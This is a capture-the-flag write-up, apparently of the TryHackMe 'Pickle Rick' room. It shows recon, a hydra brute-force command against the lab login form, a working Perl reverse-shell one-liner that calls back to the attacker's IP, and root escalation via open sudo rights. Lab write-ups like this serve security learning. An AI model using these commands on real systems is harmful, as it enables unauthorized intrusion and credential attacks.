# Pickle Rick

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-f48683f4a53e5b56231babf11b8225722333c310%2Fimage.png?alt=media)

It seems that we have only one task. I started off with an nmap scan, and looking at the web app:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-e2ecc9fd1dd56734764a37ed3ab41ee5d890d275%2Fimage.png?alt=media)

Nothing too important on the page itself. I checked out robots.txt to see if there were any directories we were not allowed to see:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-b15b99d3f953b86d3d53e8faf1997d298cac08de%2Fimage.png?alt=media)

I then went back to the original page, and saw something in the page source code:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-6b3621f025ea8f91ed7834c2927e0fc8967d6829%2Fimage.png?alt=media)

Now we know the username: R1ckRul3s. By this time my nmap scan had completed:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-4cafda677b37db4ed250509d53e486ece43c05b8%2Fimage.png?alt=media)

We see the SSH port and HTTP port. I ran feroxbuster on the target and got the following:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-65a249d552e32a0a30276c90f2263c3ee66d71ff%2Fimage.png?alt=media)

There isn't too much going on here. I checked out the assets folder:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-b9f49d30ad3b504353907545824dc8bc8543c2c2%2Fimage.png?alt=media)

Nothing out of the ordinary here either. I did not get anything of use from feroxbuster, but dirbuster had shown me files that I had not seen before:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-52e9b9432c8f0bee0f5417d72b6e544f5ed9f2c8%2Fimage.png?alt=media)

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-32a4a11d3a6507e46f178d15aad8a5329acc4ae7%2Fimage.png?alt=media)

I think I might be able to bruteforce this with hydra. In order to do this, I need to get information about the error message:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-b5f8d3ee30be9b1a68e55237ec08ef8b594974fd%2Fimage.png?alt=media)

Now we know what the error looks like. We also need to see what the request body looks like. This can be done by looking at the network tab (in the inspector window). In the network tab, if you click on "Header" and then "Resend", then "Edit and Resend", you can see the request body:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-4eb02ca1e299a7b3d518c5f9ef9f6b56762e69e0%2Fimage.png?alt=media)

I combined this all with the help of [https://infinitelogins.com/2020/02/22/how-to-brute-force-websites-using-hydra/](https://infinitelogins.com/2020/02/22/how-to-brute-force-websites-using-hydra/) to get the following command:

`hydra -l R1ckRul3s -P /usr/share/wordlists/rockyou.txt 10.10.116.191 http-post-form "/login.php:username=R1ckRul3s&password=^PASS^&sub=Login:Invalid username or password."`

After running **hydra** with multiple different wordlists, I found [this write-up](https://thefluffy007.com/2019/03/14/tryhackme-pickle-rick-ctf/) that made me realize my mistake: I had overlooked that the password was what I had found earlier:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-977493429674d2922d035ff4e85b91da9d61f984%2Fimage.png?alt=media)

Combining the username and password leads us to this:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-51455075ef186bc0e2f0466135f3379688e374c9%2Fimage.png?alt=media)

I have access to `ls` and see some interesting files:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-a37a8cdfa0c16057ae68c8883d7e009b12de17bd%2Fimage.png?alt=media)

When trying to run `cat` and `more`, I get the following output:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-3a16b9677fa65e05f0a3681e410eae30a0b75fb6%2Fimage.png?alt=media)

I want to get a netcat reverse shell onto the system so I will be able to run commands more freely. In order to do this, I used the website [https://www.revshells.com/](https://www.revshells.com/) to make the shell. A lot of them did not work, but this one did:

`perl -e 'use Socket;$i="<MY IP ADDRESS>";$p=4343;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'`

I got a shell:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-bcaf18c0ce549996263eaf1e3f920c3a054e78a5%2Fimage.png?alt=media)

I finally got the first ingredient:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-d9784adf798f0c65077d5c673f5473ae923b0996%2Fimage.png?alt=media)

The file clue.txt had the following information in it:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-a23a228edd7bafe0118166fc2f16432fcb870487%2Fimage.png?alt=media)

I went to look in the home directory and saw two directories, which led me to the second clue:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-3fb359df11b9b334178d4af98514527a73629c58%2Fimage.png?alt=media)

I did not see anything else that stood out, so I ran `sudo -l` to see what I had access to as root:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-8b7b47007b8ee5172b94d6c327bbeec6feca06b8%2Fimage.png?alt=media)

Apparently, I can run **any** command as root. I was able to get root:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-551dfef794ccac813b6a8ac5ec0792c8357a7972%2Fimage.png?alt=media)

I just needed to find the last ingredient. It was in the /root folder:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-a0260996b74bd922dbacd024e1ae2b84abace954%2Fimage.png?alt=media)

That's all that was needed for this machine.
